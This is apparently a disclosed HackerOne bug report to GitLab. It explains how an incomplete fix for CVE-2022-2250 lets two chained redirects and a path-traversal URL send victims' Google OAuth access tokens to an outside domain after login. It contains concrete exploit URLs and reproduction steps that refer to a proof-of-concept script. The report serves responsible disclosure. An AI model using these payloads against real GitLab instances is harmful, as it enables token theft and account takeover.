Chaining multiple redirects allow an attacker to exfiltrate the access token of OAuth providers
HackerOne report #1725190 by ryotak
on 2022-10-07, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
Due to the incomplete fix for CVE-2022-2250, an attacker is still able to redirect users to redirect to the arbitrary domain.
This can be used to exfiltrate the access tokens for third-party login providers.
Description
Open redirect
The patch for CVE-2022-2250 fixed the vulnerability by removing duplicated slashes from the decoded path.
lib/gitlab/jira/dvcs.rb
line 41-42
# Replace multiple slashes with single ones to make sure the redirect stays on the same host
project.gsub(ENCODED_SLASH, SLASH).gsub(%r{\/{2,}}, '/')
However, due to the fact some routes append a slash in front of the decoded project path, an attacker is still able to redirect users into the unintended domain.
config/routes/project.rb
line 679-695
get 'commit/:id', constraints: { id: /\h{7,40}/ }, to: redirect { |params, req|
project_full_path = ::Gitlab::Jira::Dvcs.restore_full_path(
namespace: params[:namespace_id],
project: params[:project_id]
)
"/#{project_full_path}/commit/#{params[:id]}"
}
get 'tree/*id', as: nil, to: redirect { |params, req|
project_full_path = ::Gitlab::Jira::Dvcs.restore_full_path(
namespace: params[:namespace_id],
project: params[:project_id]
)
"/#{project_full_path}/-/tree/#{params[:id]}"
}
For example, the following URL redirects users to https://example.com/-/tree/a: https://gitlab.com/gitlab-org/[@]example.com/tree/a
Same-site redirect
While this is an interesting bug, the open redirect itself is a pretty low severity bug, and I had to find another redirect to make this vulnerability severe.
After investigating the routes of GitLab for a bit, I found an endpoint that can be used to redirect users to the same domain.
config/routes/repository_deprecated.rb
line 20-22
get '/refs/:id/logs_tree/*path',
to: redirect('%{namespace_id}/%{project_id}/-/refs/%{id}/logs_tree/%{path}'),
constraints: { id: /.*/, path: /[^\0]*/ }
Since it's not validating the *path
of the request, the following URL will redirect users to https://gitlab.com/ry0tak2/test/-/refs/aaaa/logs_tree/../../../../../
, which is then parsed as https://gitlab.com/ry0tak2/
by the browser: https://gitlab.com/ry0tak2/test/refs/aaaa/logs_tree/..%2F..%2F..%2F..%2F..%2F
Storing the payload into the redirect URL of the login page
While these redirects can't be used to exfiltrate access tokens directly, another redirect is possible from the /users/sign_in
endpoint.
As the /refs/:id/logs_tree/*path
redirects users only if the repository exists, it's possible to control whether redirect users or not.
By using this behavior, it's possible to store the open redirect payload, which only works after logging into GitLab, into the return URL of the login page.
Passing the access token as a URL fragment
Since these redirects will remove the query parameter, we need to find a way to use the URL fragment.
Luckily, most OAuth providers support the response_type=token
during the OAuth flow, which will pass the access tokens over the URL fragments.
By combining these things, it's now possible to send access tokens of OAuth providers to unintended websites.
Steps to reproduce
(These steps to reproduce assumes that you're using gitlab.com. If you're using a self-hosted instance, you may need to change the domain.)
Prepare accounts
- Prepare 2 GitLab accounts. (One is the attacker, and the other is the victim.)
- Prepare a Google account.
- In the victim's account, connect the Google accounts from https://gitlab.com/-/profile/account.
- In the attacker's account, create a personal access token with an
api
scope from https://gitlab.com/-/profile/personal_access_tokens.
Prepare the script
- Download
- Open it with the text editor, and replace
REPLACE_GITLAB_PAT_HERE
with the personal access token that you created in step 4. - Install the
requests
library if you haven't installed it already:pip install requests
- Run it:
python3 poc.py
Reproduce
(These steps depend on the internet speed, if your network takes more than 3 seconds to load GitLab, please edit SLEEP_SECONDS
of poc.py
.)
- Before starting, make sure you're logged into only one Google account, which you prepared in step 2 of the
Prepare accounts
section. - Open http://localhost:8080
- Click
Logout from GitLab
if you're currently logged into GitLab. - Click
Sign in with GitLab
. - Once the login page loads, log in to your GitLab account with email and password.
- Confirm that the access token of a Google account has been sent to example.com.
Explanation of steps to reproduce
The poc.py do the following things under the hood:
- Once the user clicked the
Sign in with GitLab
, open Google's OAuth endpoint in the new window. And Google will redirect users tohttps://gitlab.com/users/auth/google_oauth/callback
, and then it will redirect users tohttps://gitlab.com/user/sign_in
with the access token in the URL fragment. - At the same time,
poc.py
will redirect the current window tohttps://gitlab.com/GITLAB_USERNAME/RANDOM_REPO_NAME/refs/aaaa/logs_tree/..%2F..%2F..%2F..%2F..%2F@example.com/tree/a
. Since the user isn't logged in, and the repository doesn't exist, GitLab will store the redirect URL into the session as-is. - Once step 2 is completed,
poc.py
will send a request to GitLab API and create a repository namedRANDOM_REPO_NAME
. - After step 3, when the user logs into the GitLab, it'll automatically redirect users to
https://gitlab.com/GITLAB_USERNAME/RANDOM_REPO_NAME/refs/aaaa/logs_tree/..%2F..%2F..%2F..%2F..%2F@example.com/tree/a
, and this endpoint will redirect users tohttps://gitlab.com/GITLAB_USERNAME/RANDOM_REPO_NAME/-/refs/aaaa/logs_tree/../../../../../[@]example.com/tree/a
, which will be parsed as the following by the browser:https://gitlab.com/GITLAB_USERNAME/[@]example.com/tree/a
. - Since GitLab has an open redirect vulnerability, the user will be redirected to example.com, along with the access token.
What is the current bug behavior?
The user is redirected to the unintended domain after the login, along with the access token of the Google account.
What is the expected correct behavior?
The user shouldn't be redirected to the unintended domain.
Output of checks
This bug happens on GitLab.com
Results of GitLab environment info
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.6
Bundler Version:2.3.15
Rake Version: 13.0.6
Redis Version: 6.2.7
Sidekiq Version:6.4.2
Go Version: unknown
GitLab information
Version: 15.4.1-ee
Revision: 7b2ed8f038f
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.6
URL: https://gl.ryotak.me
HTTP Clone URL: https://gl.ryotak.me/some-group/some-project.git
SSH Clone URL: git@gl.ryotak.me:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.10.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
An attacker can exfiltrate the access token of OAuth providers with user interactions.
Since these access tokens are used to identify the user, an attacker can take over the account by using it.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: